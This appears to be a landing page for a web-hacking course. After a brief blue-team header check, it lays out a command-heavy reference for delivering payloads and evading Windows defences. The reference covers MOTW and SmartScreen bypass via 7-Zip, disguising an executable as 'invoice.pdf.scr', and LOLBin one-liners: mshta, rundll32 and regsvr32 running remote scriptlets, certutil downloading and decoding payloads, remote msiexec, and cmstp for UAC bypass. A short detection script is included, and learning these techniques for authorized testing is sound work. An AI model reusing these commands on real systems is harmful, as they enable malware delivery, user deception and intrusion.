Coming Soon

Web Hacking Kill Chain

A hands-on workbook for learning web security the right way - through doing, not reading.

// What is this?

The attacker's path from finding a login form to owning a web application.

Web pentesting follows a kill chain: reconnaissance (subdomain/endpoint discovery), authentication testing (default creds, brute force, bypass), injection testing (SQL, XSS, SSRF, command injection), privilege escalation (IDOR, JWT manipulation), and post-exploitation. Each phase builds on the last. This reference covers the common techniques and tools at each step.

Bash — Web Security Headers

→ Blue Team

# Check security headers (edit URL)
TARGET_URL="https://example.com"  # <-- EDIT: your target
curl -sI "$TARGET_URL" | grep -iE "strict-transport|content-security|x-frame|x-content|x-xss"

# Check for exposed files
for path in ".git/config" ".env" "wp-config.php" ".htaccess" "web.config"; do
  code=$(curl -sI "$TARGET_URL/$path" -o /dev/null -w "%{http_code}")
  echo "$path: $code"
done

# TLS configuration
echo | openssl s_client -connect "${TARGET_URL#https://}:443" 2>/dev/null | openssl x509 -noout -dates

If this flags: Missing security headers = vulnerable to clickjacking, XSS, MIME sniffing. Exposed .git or .env files leak credentials. Update web server config.

Course Structure

Reconnaissance

Subdomain Enumeration Tech Fingerprinting Endpoint Discovery Parameter Mining

Application Mapping

Burp Suite Auth Flows API Structure Business Logic

Vulnerability Discovery

IDOR SQLi XSS Path Traversal SSRF Auth Bypass

Exploitation

PoC Development Impact Demonstration Exploit Chaining

Post-Exploitation

Credential Harvesting Lateral Movement Persistence Data Exfiltration

Bug Bounty Methodology

Target Selection Avoiding Dupes Report Writing Getting Paid

Payload Delivery & Evasion

SCR Files MOTW Bypass 7-Zip Extraction Zone.Identifier SmartScreen ADS Inspection

Quick Reference: SCR & MOTW

SCR files are PE executables (same as EXE). MOTW (Mark of the Web) triggers SmartScreen warnings. These commands are for authorized testing only.

Check for MOTW Check

Inspect Zone.Identifier ADS to see if file is tagged as downloaded from internet (ZoneId=3).

# Check for MOTW stream
Get-Item [FILE] -Stream *

# Read Zone.Identifier content
Get-Content [FILE] -Stream Zone.Identifier

Add MOTW (Simulate Download) Recon

Tag a local file as if it was downloaded from the internet. Useful for testing SmartScreen behavior.

# Add Zone.Identifier (ZoneId=3 = Internet)
Set-Content -Path [FILE] -Stream Zone.Identifier -Value "[ZoneTransfer]`nZoneId=3"

Remove MOTW (Unblock) Evasion

Strip Zone.Identifier to bypass SmartScreen warning. Same as right-click → Properties → Unblock.

# PowerShell unblock
Unblock-File -Path [FILE]

# Verify MOTW removed
Get-Item [FILE] -Stream *

7-Zip MOTW Bypass Evasion

7-Zip (default) does NOT propagate MOTW to extracted files. Windows Explorer does. This is the key bypass.

# Create ZIP with payload
Compress-Archive -Path [PAYLOAD.scr] -DestinationPath [OUTPUT.zip]

# Tag ZIP as downloaded
Set-Content -Path [OUTPUT.zip] -Stream Zone.Identifier -Value "[ZoneTransfer]`nZoneId=3"

# Extract with 7-Zip (bypasses MOTW)
& "C:\Program Files\7-Zip\7z.exe" x [OUTPUT.zip] -o[OUTDIR] -y

# Verify: extracted file has NO MOTW
Get-Item [OUTDIR]\[PAYLOAD.scr] -Stream *

Rename EXE to SCR Evasion

SCR = EXE (same PE format). Users trust "screensaver" more than "executable". Double-extension trick.

# Rename payload
copy [PAYLOAD.exe] [invoice.pdf.scr]

# With hidden extensions, victim sees: invoice.pdf
# Actual file: invoice.pdf.scr (executable)

Scan for SCR Files Check

Detection: find SCR files in user-writable paths without MOTW (suspicious).

# Find SCR files in user profile
Get-ChildItem "C:\Users\$env:USERNAME" -Recurse -Filter "*.scr" -ErrorAction SilentlyContinue |
    ForEach-Object {
        $streams = Get-Item $_.FullName -Stream * | Where-Object Stream -ne ':$DATA'
        $hasMOTW = $streams | Where-Object Stream -eq 'Zone.Identifier'
        [PSCustomObject]@{
            File = $_.FullName
            HasMOTW = [bool]$hasMOTW
            Risk = if ($hasMOTW) { "Low" } else { "HIGH" }
        }
    }

Quick Reference: LOLBins Execution

Living Off The Land Binaries - signed Microsoft binaries that bypass SmartScreen because Windows trusts them. Use to execute payloads without triggering warnings.

pcalua.exe Evasion

Program Compatibility Assistant. Best LOLBin for direct EXE/SCR execution. Bypasses SmartScreen.

pcalua.exe -a [PAYLOAD.scr]

forfiles.exe Evasion

Batch processing utility. Executes commands via /c parameter.

forfiles /p C:\Windows /m notepad.exe /c [FULL_PATH_PAYLOAD]

mshta.exe Evasion

HTML Application host. Execute JS/VBS inline or via HTA file.

mshta.exe "javascript:a=new ActiveXObject('Wscript.Shell');a.Run('[PAYLOAD]');close();"

regsvr32.exe Evasion

regsvr32.exe /s /n /u /i:[URL_TO_SCT] scrobj.dll

rundll32.exe Evasion

Execute DLL exports or JS via javascript: protocol.

# DLL execution
rundll32.exe [PAYLOAD.dll],[EntryPoint]

# JS execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("[PAYLOAD]")

certutil.exe Download

Certificate utility. Download files and decode base64 payloads.

# Download file
certutil.exe -urlcache -split -f [URL] [OUTPUT]

# Decode base64
certutil.exe -decode [ENCODED.txt] [PAYLOAD.exe]

msiexec.exe Evasion

Windows Installer. Execute MSI packages locally or from URL.

# Remote MSI
msiexec /q /i [URL_TO_MSI]

# Local MSI
msiexec /q /i [PAYLOAD.msi]

cmstp.exe Evasion

Connection Manager Profile Installer. UAC bypass + execution via INF file.

cmstp.exe /s [PAYLOAD.inf]

Get Notified When We Launch

Join the waitlist to be first to know when the course goes live.